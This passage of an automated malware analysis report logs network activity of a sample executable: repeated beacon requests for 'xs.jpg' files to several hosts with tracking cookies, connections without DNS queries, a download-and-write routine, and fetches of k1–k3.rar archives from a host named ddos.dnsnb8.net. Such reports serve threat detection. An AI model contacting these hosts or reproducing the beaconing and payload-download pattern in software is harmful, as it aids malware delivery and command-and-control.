                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?bbc08714=859936060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159407|1720159210|4|44|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c82e6dfa=1098084304 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?f1d24191=-713636685 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?6d72debd=1805055464 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159411|1720159208|5|45|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ad82783c=429275676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159411|1720159209|4|45|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?83277979=211674596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159412|1720159210|4|45|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a4ace5e6=1858140924 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8ace3555=-1966197419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1a12e219=1749780580 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159415|1720159208|4|46|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e8e2ac16=1968179332 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159415|1720159209|4|46|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1d23ecfe=-872711438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159416|1720159210|4|46|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1c0afe0d=-1472072626 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ff1499a4=-30854328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?96b3ddc7=-243051293 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159419|1720159208|4|47|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e470f49d=1520810926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159420|1720159209|4|47|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?229aaa09=-1392160211 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159420|1720159210|4|47|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?27505c3e=1978733754 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?438725f0=-1555596448 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?98336238=812041328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159423|1720159208|4|48|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?254323e7=625157095 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159424|1720159209|4|48|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3c5dbe75=2025553130 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159424|1720159210|4|48|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?91511b59=-694843203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d8491e75=1629780436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?72476109=-460406254 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159428|1720159208|4|49|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?f4c69117=-1506506568 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159428|1720159209|4|49|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?84b746ce=-1910123414 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159429|1720159210|4|49|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?64deb2e=105769774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?fa5e26a2=-188986044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11ea3939=-1589902591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159432|1720159208|4|50|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?532c9a1d=1178089163 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159433|1720159209|4|50|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c2b7c0a5=-2056289974 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159434|1720159210|4|50|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2f612ca7=1589795150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8615d526=816752944 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?f93bde4c=-681101880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159437|1720159208|4|51|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?bec5d02e=1011970186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159438|1720159209|4|51|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?36d200da=303694914 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159438|1720159210|4|51|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3510fe43=-1467485672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?e9bb0874=558781576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?45a3fb7=730234150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159442|1720159208|4|52|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b14fbec7=1003336959 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159442|1720159209|4|52|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3c813930=1561082848 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159443|1720159210|4|52|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2b0eedca=39424700 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d0e92fe1=-1580048446 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?6340f643=-263925937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159446|1720159208|4|53|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4fd89b2a=-552361220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159447|1720159209|4|53|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b092bd4e=891856830 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159447|1720159210|4|53|0; snkz=8.46.123.33
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
                Source: unknownUDP traffic detected without corresponding DNS query: 85.17.167.196
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DB888 lstrcpy,InternetOpenA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,0_2_029DB888
                Source: global trafficHTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4ad8f3=24526015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4cac3c=10049656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4dbdbb=20379372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5099e9=26411405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?53338f=5452687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?963c82=39383560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a9ea3a=22271092 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b7b144=96307744 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ca9c78=119504952 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d1e2b6=82530372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11838a2=36729156 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?12c0da8=39328592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?14ce734=130902840 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?15a39ca=204212250 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?174d281=24433281 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?221ae27=321855327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0
